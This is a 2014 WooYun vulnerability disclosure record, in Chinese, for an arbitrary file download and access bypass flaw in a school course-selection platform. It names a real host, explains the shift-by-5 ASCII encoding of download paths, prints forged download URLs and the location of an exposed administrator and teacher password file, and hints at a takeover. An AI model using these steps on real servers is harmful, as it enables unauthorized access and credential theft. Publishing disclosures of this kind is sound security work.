漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-048472
漏洞标题：某知名教育网软件任意文件下载漏洞
相关厂商：上海释锐教育软件有限公司
漏洞作者： RJDream
提交时间：2014-01-10 17:33
修复时间：2014-02-24 17:34
公开时间：2014-02-24 17:34
漏洞类型：未授权访问/权限绕过
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-01-10： 细节已通知厂商并且等待厂商处理中
2014-01-15： 厂商已经确认，细节仅向厂商公开
2014-01-25： 细节向核心白帽子及相关领域专家公开
2014-02-04： 细节向普通白帽子公开
2014-02-14： 细节向实习白帽子公开
2014-02-24： 细节向公众公开
简要描述：
某知名教育网软件出现任意文件下载漏洞，导致整个服务器处于危险之中！
详细说明：
举例：ELECTIVE.SFLS.CN:8080，释锐校校用平台。
用自己的账户登录上去，什么也没有。
慢着？！
把stu_index.jsp去掉，进入了管理平台，传了个asp（当然这里无用，为了演示）。
给了个下载链接：http://elective.sfls.cn:8080/us/download_file.jsp?path=97-100-103-96-110-42-92-95-104-100-105-40-45-43-44-47-43-44-44-43-43-44-48-52-47-45-40-49-45-47-52-51-48-45-44-49-41-92-110-107-&fileName=44-41-92-110-107-&remote=null
看起来像是ASCII码表……
但是转换过来不是啊，adg`d*……
42是怎么回事？一定是47号/
这样一来，每个+5，出现真实链接……
这样，就可以试试自己加密链接了……
漏洞证明：
http://elective.sfls.cn:8080/us/user/ssologin.jsp
下载链接：http://elective.sfls.cn:8080/us/download_file.jsp?path=112-110-96-109-42-110-110-106-103-106-98-100-105-41-101-110-107-&fileName=110-110-106-103-106-98-100-105-41-101-110-107-
意外收获：
http://elective.sfls.cn:8080/us/files/tec_export.xls 管理员及教师密码
拿到管理员密码，接下来……你懂的
修复方案：
对该敏感文件限制访问权限（需登录），上传下载文件规定在一个目录里，直接访问403.
版权声明：转载请注明来源 RJDream@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2014-01-15 10:12
厂商回复：
最新状态：
暂无